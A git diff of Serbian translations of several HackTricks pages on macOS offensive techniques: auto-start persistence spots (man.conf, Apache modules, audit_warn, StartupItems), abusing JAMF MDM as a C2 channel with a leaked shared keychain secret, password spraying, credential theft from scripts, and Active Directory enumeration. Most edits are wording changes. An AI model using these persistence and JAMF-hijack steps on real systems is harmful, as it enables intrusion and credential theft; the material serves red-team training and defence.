**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga učiniti izvršnim od strane root korisnika.
|
||||
|
||||
Pokrenite ga sa:
|
||||
```bash
|
||||
|
@ -1385,7 +1387,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja man dokumentacionih fajlova. Dakle, putanja do izvršne datoteke može biti promenjena tako da svaki put kada korisnik koristi man za čitanje nekih dokumenata, izvrši se zadnja vrata.
|
||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja fajlova sa man dokumentacijom. Dakle, putanja do izvršne datoteke može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje neke dokumentacije, izvrši se zadnja vrata.
|
||||
|
||||
Na primer, postavite u **`/private/etc/man.conf`**:
|
||||
```
|
||||
|
@ -1417,12 +1419,14 @@ touch /tmp/manconf
|
|||
#### Opis & Eksploatacija
|
||||
|
||||
Možete naznačiti u `/etc/apache2/httpd.conf` da učita modul dodavanjem linije poput:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili trebate **potpisati ga važećim Apple sertifikatom**, ili trebate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili morate **potpisati ga važećim Apple sertifikatom**, ili morate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
||||
|
||||
Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti:
|
||||
```bash
|
||||
|
@ -1445,7 +1449,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali potrebno je da budete root, da auditd radi i da izazovete upozorenje
|
||||
* Ali morate biti root, auditd mora biti pokrenut i izazvati upozorenje
|
||||
* TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokacija
|
||||
|
@ -1456,7 +1460,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvršava**. Dakle, možete dodati svoj payload na nju.
|
||||
Svaki put kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvršava**. Dakle, možete dodati svoj payload na nju.
|
||||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
|
@ -1493,19 +1497,17 @@ Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno sm
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### Lokacije automatskog pokretanja na macOS-u
|
||||
|
||||
Na macOS-u, postoji nekoliko lokacija gde se aplikacije mogu postaviti da se automatski pokreću prilikom pokretanja sistema. Ove lokacije uključuju:
|
||||
|
||||
1. **Login Items**: Ovo se nalazi u System Preferences > Users & Groups > Login Items. Korisnik može dodati aplikacije koje želi da se automatski pokreću prilikom prijavljivanja.
|
||||
1. **LaunchAgents**: Ovde se nalaze korisnički specifični agenti koji se pokreću kada se korisnik prijavi.
|
||||
2. **LaunchDaemons**: Ovde se nalaze sistemski agenti koji se pokreću prilikom pokretanja sistema.
|
||||
3. **StartupItems**: Ova zastarela lokacija se koristila u starijim verzijama macOS-a i sadrži skripte koje se pokreću prilikom pokretanja sistema.
|
||||
|
||||
2. **Launch Agents i Launch Daemons**: Ove lokacije se nalaze u `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents`. Aplikacije smeštene u ovim folderima se pokreću prilikom pokretanja sistema ili prijavljivanja korisnika.
|
||||
|
||||
3. **Startup Items**: Ovo je zastarela metoda automatskog pokretanja aplikacija i smeštena je u `/Library/StartupItems`. Preporučuje se korišćenje modernijih metoda poput Login Items ili Launch Agents/Daemons.
|
||||
|
||||
Provera i upravljanje aplikacijama koje se automatski pokreću može pomoći u poboljšanju bezbednosti i performansi sistema.
|
||||
{% endtab %}
|
||||
Provera ovih lokacija može biti korisna za otkrivanje potencijalno zlonamernih aplikacija koje pokušavaju da se automatski pokrenu prilikom pokretanja sistema.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1527,12 +1529,12 @@ RunService "$1"
|
|||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ne mogu da pronađem ovu komponentu na mom macOS-u, pa za više informacija pogledajte writeup
|
||||
{% endhint}
|
||||
Ne mogu da pronađem ovu komponentu na mom macOS-u, pa za više informacija pogledajte objašnjenje
|
||||
{% endhint %}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Uveden od strane Apple-a, **emond** je mehanizam za beleženje koji deluje nedovoljno razvijeno ili možda napušteno, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||
**emond** je mehanizam za beleženje koji je uveden od strane Apple-a, a koji se čini nedovoljno razvijenim ili možda napuštenim, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||
|
||||
Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršenje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
|
||||
```bash
|
||||
|
@ -1550,12 +1552,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
XQuartz **više nije instaliran u macOS-u**, pa ako želite više informacija pogledajte writeup.
|
||||
XQuartz više **nije instaliran u macOS-u**, pa ako želite više informacija pogledajte writeup.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Toliko je komplikovano instalirati kext čak i kao root da neću smatrati ovo kao bekstvo iz peska ili čak za postojanost (osim ako imate eksploit)
|
||||
Toliko je komplikovano instalirati kext čak i kao root da neću smatrati ovo kao beg iz peska ili čak za postojanost (osim ako imate eksploit)
|
||||
{% endhint %}
|
||||
|
||||
#### Lokacija
|
||||
|
@ -1565,9 +1567,9 @@ Da biste instalirali KEXT kao stavku za pokretanje, potrebno je da bude **instal
|
|||
* `/System/Library/Extensions`
|
||||
* KEXT fajlovi ugrađeni u OS X operativni sistem.
|
||||
* `/Library/Extensions`
|
||||
* KEXT fajlovi instalirani od strane softvera trećih strana
|
||||
* KEXT fajlovi instalirani od strane softvera trećih lica
|
||||
|
||||
Trenutno učitane kext fajlove možete listati sa:
|
||||
Možete prikazati trenutno učitane kext fajlove sa:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1579,22 +1581,22 @@ Za više informacija o [**kernel ekstenzijama pogledajte ovu sekciju**](macos-se
|
|||
|
||||
### ~~amstoold~~
|
||||
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* **`/usr/local/bin/amstoold`**
|
||||
* Potreban je root pristup
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
#### Opis i eksploatacija
|
||||
|
||||
Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je što binarni fajl nije postojao, pa ste mogli postaviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan.
|
||||
Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je bio što binarni fajl nije postojao, pa ste mogli postaviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan.
|
||||
|
||||
Ne mogu više pronaći ovo na mom macOS-u.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -1602,9 +1604,9 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
* Potreban je root pristup
|
||||
* **Okidač**: Kada se servis pokrene (retko)
|
||||
|
||||
#### Opis & eksploatacija
|
||||
#### Opis i eksploatacija
|
||||
|
||||
Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na mom macOS-u, pa ako želite više informacija pogledajte analizu.
|
||||
Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na mom macOS-u, pa ako želite više informacija pogledajte objašnjenje.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1716,7 +1718,7 @@ esac
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -19,7 +19,7 @@ Drugi načini podrške HackTricks-u:
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Ako uspete da **kompromitujete admin kredencijale** kako biste pristupili platformi za upravljanje, možete **potencijalno kompromitovati sve računare** distribuiranjem malvera na mašinama.
|
||||
Ako uspete da **kompromitujete admin kredencijale** kako biste pristupili platformi za upravljanje, možete **potencijalno kompromitovati sve računare** distribuiranjem malvera na mašine.
|
||||
|
||||
Za crveno timovanje u MacOS okruženjima, veoma je preporučljivo imati razumevanje kako MDM-ovi funkcionišu:
|
||||
|
||||
|
@ -39,7 +39,7 @@ Da biste prijavili uređaj u MDM, potrebno je da instalirate **`mobileconfig`**
|
|||
|
||||
**Mythic agent Orthrus** koristi ovu tehniku.
|
||||
|
||||
### Zloupotreba JAMF PRO
|
||||
### Zloupotreba JAMF PRO-a
|
||||
|
||||
JAMF može pokrenuti **prilagođene skripte** (skripte razvijene od strane sistem administratora), **nativne payload-e** (kreiranje lokalnih naloga, postavljanje EFI šifre, praćenje fajlova/procesa...) i **MDM** (konfiguracije uređaja, sertifikati uređaja...).
|
||||
|
||||
|
@ -47,7 +47,7 @@ JAMF može pokrenuti **prilagođene skripte** (skripte razvijene od strane siste
|
|||
|
||||
Idite na stranicu poput `https://<ime-kompanije>.jamfcloud.com/enroll/` da biste videli da li imaju **omogućeno samoprijavljivanje**. Ako imaju, može **zatražiti kredencijale za pristup**.
|
||||
|
||||
Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da biste izvršili napad pomoću prskanja lozinki.
|
||||
Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da biste izvršili napad prskanja lozinki.
|
||||
|
||||
Osim toga, nakon pronalaska odgovarajućih kredencijala, možda ćete moći da probate da forsiate druge korisničke imenike sa sledećim oblikom:
|
||||
|
||||
|
@ -55,14 +55,14 @@ Osim toga, nakon pronalaska odgovarajućih kredencijala, možda ćete moći da p
|
|||
|
||||
#### Autentikacija uređaja u JAMF-u
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** binarni fajl sadrži tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\
|
||||
**`jamf`** binarni fajl sadrži tajnu za otvaranje keša koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\
|
||||
Osim toga, jamf **traje** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Preuzimanje uređaja u JAMF-u
|
||||
|
||||
**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti se nalazi u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti nalazi se u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Ovaj fajl u osnovi sadrži URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dakle, napadač bi mogao da ubaci zlonamerni paket (`pkg`) koji **prepisuje ovaj fajl** prilikom instalacije postavljajući **URL ka Mythic C2 slušaocu od strane Typhon agenta** kako bi sada mogao da zloupotrebi JAMF kao C2.
|
||||
Dakle, napadač bi mogao da ubaci zlonamerni paket (`pkg`) koji **prepisuje ovaj fajl** prilikom instalacije postavljajući **URL ka Mythic C2 slušaocu sa Typhon agentom** kako bi sada mogao da zloupotrebi JAMF kao C2.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -98,15 +98,15 @@ Da biste **imitirali komunikaciju** između uređaja i JMF-a, potrebno je:
|
|||
* **UUID** uređaja: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* **JAMF keš lanac** sa lokacije: `/Library/Application\ Support/Jamf/JAMF.keychain` koji sadrži sertifikat uređaja
|
||||
|
||||
Sa ovim informacijama, **kreirajte virtuelnu mašinu** sa **ukradenim** hardverskim **UUID-om** i sa **SIP onemogućenim**, ubacite **JAMF keš lanac**, **hukujte** Jamf **agent** i ukradite njegove informacije.
|
||||
Sa ovim informacijama, **kreirajte virtuelnu mašinu** sa **ukradenim** hardverskim **UUID-om** i sa **SIP onemogućenim**, ispustite **JAMF keš lanac**, **hukujte** Jamf **agent** i ukradite njegove informacije.
|
||||
|
||||
#### Krađa tajni
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori žele da izvrše putem Jamf-a jer se ovde **postavljaju, izvršavaju i uklanjaju**. Ove skripte **mogu sadržati pristupne podatke**.
|
||||
Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori žele da izvrše putem Jamf-a jer se ovde **postavljaju, izvršavaju i uklanjaju**. Ove skripte **mogu sadržati akreditive**.
|
||||
|
||||
Međutim, **pristupni podaci** mogu biti prosleđeni ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez privilegija root korisnika).
|
||||
Međutim, **akreditivi** mogu biti prosleđeni ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez biti root).
|
||||
|
||||
Skripta [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) može osluškivati dodavanje novih fajlova i novih argumenata procesa.
|
||||
|
||||
|
@ -120,7 +120,7 @@ I takođe o "specijalnim" **mrežnim** **protokolima** za **MacOS**:
|
|||
|
||||
## Active Directory
|
||||
|
||||
U nekim situacijama ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebalo bi da pokušate da **enumerišete** active directory na način na koji ste navikli. Pronađite **pomoć** na sledećim stranicama:
|
||||
U nekim situacijama ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebali biste pokušati da **enumerišete** active directory kao što ste navikli. Pronađite **pomoć** na sledećim stranicama:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -152,18 +152,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
Tri vrste MacOS korisnika su:
|
||||
|
||||
* **Lokalni korisnici** — Upravljaju se lokalnom OpenDirectory uslugom i nisu na bilo koji način povezani sa Active Directory-jem.
|
||||
* **Mrežni korisnici** — Promenljivi Active Directory korisnici koji zahtevaju povezivanje sa DC serverom radi autentifikacije.
|
||||
* **Mobilni korisnici** — Active Directory korisnici sa lokalnom rezervnom kopijom svojih akreditacija i fajlova.
|
||||
- **Lokalni korisnici** - Upravljaju se lokalnom OpenDirectory uslugom i nisu na bilo koji način povezani sa Active Directory-jem.
|
||||
- **Mrežni korisnici** - Promenljivi Active Directory korisnici koji zahtevaju povezivanje sa DC serverom radi autentifikacije.
|
||||
- **Mobilni korisnici** - Active Directory korisnici sa lokalnom rezervnom kopijom svojih akreditacija i fajlova.
|
||||
|
||||
Lokalne informacije o korisnicima i grupama čuvaju se u folderu _/var/db/dslocal/nodes/Default._\
|
||||
Na primer, informacije o korisniku pod imenom _mark_ čuvaju se u _/var/db/dslocal/nodes/Default/users/mark.plist_, a informacije o grupi _admin_ su u _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
Na primer, informacije o korisniku pod imenom _mark_ čuvaju se u _/var/db/dslocal/nodes/Default/users/mark.plist_ i informacije o grupi _admin_ su u _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Pored korišćenja HasSession i AdminTo veza, **MacHound dodaje tri nove veze** u Bloodhound bazu podataka:
|
||||
|
||||
* **CanSSH** - entitetu dozvoljeno SSH povezivanje na host
|
||||
* **CanVNC** - entitetu dozvoljeno VNC povezivanje na host
|
||||
* **CanAE** - entitetu dozvoljeno izvršavanje AppleEvent skripti na hostu
|
||||
- **CanSSH** - entitetu dozvoljeno SSH povezivanje na host
|
||||
- **CanVNC** - entitetu dozvoljeno VNC povezivanje na host
|
||||
- **CanAE** - entitetu dozvoljeno izvršavanje AppleEvent skripti na hostu
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -199,7 +199,7 @@ Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez gener
|
|||
|
||||
MacOS Red Teaming se razlikuje od redovnog Windows Red Teaming-a jer je obično **MacOS integrisan sa nekoliko spoljnih platformi direktno**. Česta konfiguracija MacOS-a je pristup računaru korišćenjem **OneLogin sinhronizovanih akreditiva, i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogina.
|
||||
|
||||
## Različite tehnike crvenog tima
|
||||
## Razne tehnike crvenog tima
|
||||
|
||||
### Safari
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **poslednjoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Pogledajte [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-a**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite **zvanični PEASS i HackTricks** [**swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-a na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -22,25 +22,25 @@ Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju
|
|||
|
||||
* Prilikom **ulaska u režim oporavka**, kernel **ekstenzije moraju biti dozvoljene** za učitavanje:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Kernel ekstenzija mora biti **potpisana kernel kodnim potpisom**, koji može dati samo **Apple**. Ko će detaljno pregledati kompaniju i razloge zašto je potrebno.
|
||||
* Kernel ekstenzija mora biti **potpisana kernel potpisnim sertifikatom**, koji može **dodeliti samo Apple**. Ko će detaljno pregledati kompaniju i razloge zašto je potrebno.
|
||||
* Kernel ekstenzija takođe mora biti **notarizovana**, Apple će moći da je proveri na prisustvo malvera.
|
||||
* Zatim, **root** korisnik je taj koji može **učitati kernel ekstenziju** i fajlovi unutar paketa moraju **pripadati root-u**.
|
||||
* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva dozvolu `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Na kraju, prilikom pokušaja učitavanja, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) i, ako se prihvati, računar mora biti **restartovan** da bi je učitao.
|
||||
* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu).
|
||||
* Na kraju, prilikom pokušaja učitavanja, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) i, ako se prihvati, računar mora biti **restartovan** da bi se učitao.
|
||||
|
||||
### Proces učitavanja
|
||||
|
||||
U Catalina verziji je bilo ovako: Zanimljivo je primetiti da se **proces verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa dozvolom **`com.apple.private.security.kext-management`** mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
U Catalina verziji je bilo ovako: Zanimljivo je napomenuti da se **proces verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **pokreće** proces **verifikacije** za učitavanje ekstenzije
|
||||
* Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**.
|
||||
2. **`kextd`** će proveriti nekoliko stvari, kao što je **potpis**
|
||||
* Razgovaraće sa **`syspolicyd`** da **proveri** da li se ekstenzija može **učitati**.
|
||||
3. **`syspolicyd`** će **zatražiti od korisnika** ako ekstenzija prethodno nije učitana.
|
||||
* **`syspolicyd`** će prijaviti rezultat **`kextd`-u**
|
||||
4. **`kextd`** će konačno moći da **kaže kernelu da učita** ekstenziju
|
||||
* Razgovaraće sa **`syspolicyd`**-om da **proveri** da li se ekstenzija može **učitati**.
|
||||
3. **`syspolicyd`** će **zatražiti od korisnika** potvrdu ako ekstenzija prethodno nije učitana.
|
||||
* **`syspolicyd`** će prijaviti rezultat **`kextd`**-u
|
||||
4. **`kextd`** će na kraju moći da **kaže kernelu da učita** ekstenziju
|
||||
|
||||
Ako **`kextd`** nije dostupan, **`kextutil`** može obaviti iste provere.
|
||||
|
||||
|
@ -54,7 +54,7 @@ Ako **`kextd`** nije dostupan, **`kextutil`** može obaviti iste provere.
|
|||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **poslednjoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Pogledajte [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-a**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite **zvanični PEASS i HackTricks** [**swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-a na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -194,9 +194,9 @@ Primer **sekcione zaglavlje**:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako **dodate** **pomeraj sekcije** (0x37DC) + **pomeraj** gde **arh počinje**, u ovom slučaju `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
Ako **dodate** **pomeraj sekcije** (0x37DC) + **pomeraj** gde **arhiva počinje**, u ovom slučaju `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
